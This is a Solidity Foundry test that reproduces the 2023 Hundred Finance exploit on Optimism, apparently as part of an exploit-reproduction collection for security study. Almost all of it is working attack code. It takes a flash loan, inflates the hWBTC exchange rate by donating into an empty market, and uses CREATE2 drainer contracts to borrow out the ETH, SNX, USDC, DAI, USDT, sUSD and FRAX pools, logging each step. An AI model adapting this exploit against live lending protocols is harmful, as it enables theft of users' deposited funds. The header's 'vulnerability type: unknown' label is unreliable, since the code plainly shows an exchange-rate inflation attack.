HIGH severity: HundredFinance_2 exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/peckshield/status/1647307128267476992 https://twitter.com/danielvf/status/1647329491788677121 https://twitter.com/hexagate_/status/1647334970258608131 @TX https://optimistic.etherscan.io/tx/0x6e9ebcdebbabda04fa9f2e3bc21ea8b2e4fb4bf4f4

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1647307128267476992
// https://twitter.com/danielvf/status/1647329491788677121
// https://twitter.com/hexagate_/status/1647334970258608131
// @TX
// https://optimistic.etherscan.io/tx/0x6e9ebcdebbabda04fa9f2e3bc21ea8b2e4fb4bf4f4670cb8483e2f0b2604f451
// @Summary
// https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33

interface IChainlinkPriceOracleProxy {
    function getUnderlyingPrice(
        address cToken
    ) external view returns (uint256);
}

contract contractTest is Test {
    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
    IERC20 USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);
    IERC20 SNX = IERC20(0x8700dAec35aF8Ff88c16BdF0418774CB3D7599B4);
    IERC20 sUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9);
    IERC20 USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);
    IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);
    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
    crETH CEther = crETH(0x1A61A72F5Cf5e857f15ee502210b81f8B3a66263);
    ICErc20Delegate hSNX = ICErc20Delegate(0x371cb7683bA0639A21f31E0B20F705e45bC18896);
    ICErc20Delegate hUSDC = ICErc20Delegate(0x10E08556D6FdD62A9CE5B3a5b07B0d8b0D093164);
    ICErc20Delegate hDAI = ICErc20Delegate(0x0145BE461a112c60c12c34d5Bc538d10670E99Ab);
    ICErc20Delegate hUSDT = ICErc20Delegate(0xb994B84bD13f7c8dD3af5BEe9dfAc68436DCF5BD);
    ICErc20Delegate hSUSD = ICErc20Delegate(0x76E47710AEe13581Ba5B19323325cA31c48d4cC3);
    ICErc20Delegate hFRAX = ICErc20Delegate(0xd97a2591930E2Da927b1903BAA6763618BD7425b);
    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
    address HundredFinanceExploiter = 0x155DA45D374A286d383839b1eF27567A15E67528;
    IChainlinkPriceOracleProxy priceOracle = IChainlinkPriceOracleProxy(0x10010069DE6bD5408A6dEd075Cf6ae2498073c73);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("optimism", 90_760_765);
        cheats.label(address(WBTC), "WBTC");
        cheats.label(address(USDC), "USDC");
        cheats.label(address(SNX), "SNX");
        cheats.label(address(sUSD), "sUSD");
        cheats.label(address(USDT), "USDT");
        cheats.label(address(DAI), "DAI");
        cheats.label(address(hWBTC), "hWBTC");
        cheats.label(address(CEther), "CEther");
        cheats.label(address(hSNX), "hSNX");
        cheats.label(address(hUSDC), "hUSDC");
        cheats.label(address(hDAI), "hDAI");
        cheats.label(address(hUSDT), "hUSDT");
        cheats.label(address(hSUSD), "hSUSD");
        cheats.label(address(hFRAX), "hFRAX");
        cheats.label(address(aaveV3), "aaveV3");
        cheats.label(address(unitroller), "unitroller");
        cheats.label(address(priceOracle), "ChainlinkPriceOracleProxy");
    }

    function testExploit() external {
        payable(address(0)).transfer(address(this).balance);
        cheats.startPrank(HundredFinanceExploiter);
        hWBTC.transfer(address(this), 1_503_167_295); // anti front-run
        cheats.stopPrank();
        aaveV3.flashLoanSimple(address(this), address(WBTC), 500 * 1e8, new bytes(0), 0);

        emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18);
        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
        emit log_named_decimal_uint("Attacker SNX balance after exploit", SNX.balanceOf(address(this)), SNX.decimals());
        emit log_named_decimal_uint(
            "Attacker sUSD balance after exploit", sUSD.balanceOf(address(this)), sUSD.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initator,
        bytes calldata params
    ) external payable returns (bool) {
        hWBTC.redeem(hWBTC.balanceOf(address(this)));

        console.log("1. ETH Drain \r");
        ETHDrains();
        console.log("2. SNX Drain \r");
        tokenDrains(hSNX);
        console.log("3. USDC Drain \r");
        tokenDrains(hUSDC);
        console.log("4. DAI Drain \r");
        tokenDrains(hDAI);
        console.log("5. USDT Drain");
        tokenDrains(hUSDT);
        console.log("6. SUSD Drain");
        tokenDrains(hSUSD);
        console.log("7. FRAX Drain \r");
        tokenDrains(hFRAX);

        WBTC.approve(address(aaveV3), type(uint256).max);
        return true;
    }

    function ETHDrains() internal {
        uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));
        bytes memory creationBytecode = getETHDrainCreationBytecode(address(CEther));
        address DrainAddress = getAddress(creationBytecode, _salt);
        WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));

        ETHDrain ETHDrainer = new ETHDrain{salt: bytes32(_salt)}(CEther);
        uint256 liquidationRepayAmount = getLiquidationRepayAmount(address(CEther));
        CEther.liquidateBorrow{value: liquidationRepayAmount}(address(ETHDrainer), address(hWBTC));
        hWBTC.redeem(1); // Withdraw remaining share from hWBTC
        console.log("*************************************************");
        console.log("\r");
    }

    function tokenDrains(
        ICErc20Delegate hToken
    ) internal {
        uint256 _salt = uint256(keccak256(abi.encodePacked(uint256(0))));
        bytes memory creationBytecode = gettokenDrainCreationBytecode(address(hToken));
        address DrainAddress = getAddress(creationBytecode, _salt);
        WBTC.transfer(DrainAddress, WBTC.balanceOf(address(this)));

        tokenDrain tokenDrainer = new tokenDrain{salt: bytes32(_salt)}(hToken);
        IERC20 underlyingToken = IERC20(hToken.underlying());
        underlyingToken.approve(address(hToken), type(uint256).max);
        hToken.liquidateBorrow(address(tokenDrainer), getLiquidationRepayAmount(address(hToken)), address(hWBTC));
        hWBTC.redeem(1); // Withdraw remaining share from hWBTC
        console.log("*************************************************");
        console.log("\r");
    }

    function getLiquidationRepayAmount(
        address hToken
    ) public view returns (uint256) {
        uint256 exchangeRate = hWBTC.exchangeRateStored();
        uint256 liquidationIncentiveMantissa = 1_080_000_000_000_000_000;
        uint256 priceBorrowedMantissa = priceOracle.getUnderlyingPrice(address(hToken));
        uint256 priceCollateralMantissa = priceOracle.getUnderlyingPrice(address(hWBTC));
        uint256 hTokenAmount = 1;
        uint256 liquidateAmount = 1e18
            / (
                priceBorrowedMantissa * liquidationIncentiveMantissa
                    / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)
            ) + 1;
        return liquidateAmount;
    }

    function getETHDrainCreationBytecode(
        address token
    ) public pure returns (bytes memory) {
        bytes memory bytecode = type(ETHDrain).creationCode;
        return abi.encodePacked(bytecode, abi.encode(token));
    }

    function gettokenDrainCreationBytecode(
        address token
    ) public pure returns (bytes memory) {
        bytes memory bytecode = type(tokenDrain).creationCode;
        return abi.encodePacked(bytecode, abi.encode(token));
    }

    function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {
        bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
        return address(uint160(uint256(hash)));
    }

    receive() external payable {}
}

contract ETHDrain is Test {
    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
    crETH CEtherDelegate;

    constructor(
        crETH Delegate
    ) payable {
        console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");
        CEtherDelegate = Delegate;
        WBTC.approve(address(hWBTC), type(uint256).max);
        hWBTC.mint(4 * 1e8);
        hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum
        console2.log(
            "ETHDrain's share in hWBTC:",
            hWBTC.balanceOf(address(this)),
            "the WBTC amount in hWBTC:",
            WBTC.balanceOf(address(hWBTC))
        );
        console.log("\r");

        console.log(
            "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"
        );
        (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));
        console.log("exchangeRate before manipulation:", exchangeRate_1);
        uint256 donationAmount = WBTC.balanceOf(address(this));
        WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation
        uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));
        (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));
        console.log("exchangeRate after manipulation:", exchangeRate_2);
        console.log("\r");

        console.log("Third setp, Lend tokens from the hEther pool and send to exploiter");
        address[] memory cTokens = new address[](1);
        cTokens[0] = address(hWBTC);
        unitroller.enterMarkets(cTokens);
        uint256 borrowAmount = CEtherDelegate.getCash() - 1;
        CEtherDelegate.borrow(borrowAmount);
        payable(address(msg.sender)).transfer(address(this).balance);
        console.log("\r");

        console.log("Fouth step, redeem WBTC from the hWBTC pool");
        uint256 redeemAmount = donationAmount - 1;
        console.log(
            "Calculate the amount of shares represented by the redeem amount:",
            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
        );
        console.log(
            "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2
        );
        console.log(
            "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",
            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
        );
        hWBTC.redeemUnderlying(redeemAmount);
        console2.log(
            "after redeem the ETHDrain's share in hWBTC:",
            hWBTC.balanceOf(address(this)),
            "the WBTC amount in hWBTC:",
            WBTC.balanceOf(address(hWBTC))
        );
        console.log("\r");

        console.log("Firth step, send WBTC to exploiter");
        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
        console.log("\r");
    }

    receive() external payable {}
}

contract tokenDrain is Test {
    IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);
    ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);
    IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);
    ICErc20Delegate CErc20Delegate;

    constructor(
        ICErc20Delegate Delegate
    ) payable {
        console.log("First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares");
        CErc20Delegate = Delegate;
        WBTC.approve(address(hWBTC), type(uint256).max);
        hWBTC.mint(4 * 1e8);
        hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum
        console2.log(
            "toeknDrain's share in hWBTC:",
            hWBTC.balanceOf(address(this)),
            "the WBTC amount in hWBTC:",
            WBTC.balanceOf(address(hWBTC))
        );
        console.log("\r");

        console.log(
            "Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)"
        );
        (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));
        console.log("exchangeRate before manipulation:", exchangeRate_1);
        uint256 donationAmount = WBTC.balanceOf(address(this));
        WBTC.transfer(address(hWBTC), donationAmount); // "donation" exchangeRate manipulation
        uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));
        (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));
        console.log("exchangeRate after manipulation:", exchangeRate_2);
        console.log("\r");

        console.log("Third setp, Lend tokens from the hToken pool and send to exploiter");
        address[] memory cTokens = new address[](1);
        cTokens[0] = address(hWBTC);
        unitroller.enterMarkets(cTokens);
        uint256 borrowAmount = CErc20Delegate.getCash() - 1;
        CErc20Delegate.borrow(borrowAmount);
        IERC20 underlyingToken = IERC20(CErc20Delegate.underlying());
        underlyingToken.transfer(msg.sender, borrowAmount); // borrow token and send to exploiter
        console.log("\r");

        console.log("Fouth step, redeem WBTC from the hWBTC pool");
        uint256 redeemAmount = donationAmount;
        console.log(
            "Calculate the amount of shares represented by the redeem amount:",
            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
        );
        console.log(
            "another way of calculating, redeemAmount * 1e18 / exchangeRate:", redeemAmount * 1e18 / exchangeRate_2
        );
        console.log(
            "Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:",
            redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC
        );
        hWBTC.redeemUnderlying(redeemAmount);
        console2.log(
            "after redeem the toeknDrain's share in hWBTC:",
            hWBTC.balanceOf(address(this)),
            "the WBTC amount in hWBT:C",
            WBTC.balanceOf(address(hWBTC))
        );
        console.log("\r");

        console.log("Firth step, send WBTC to exploiter");
        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
        console.log("\r");
    }
}


Vulnerability type: unknown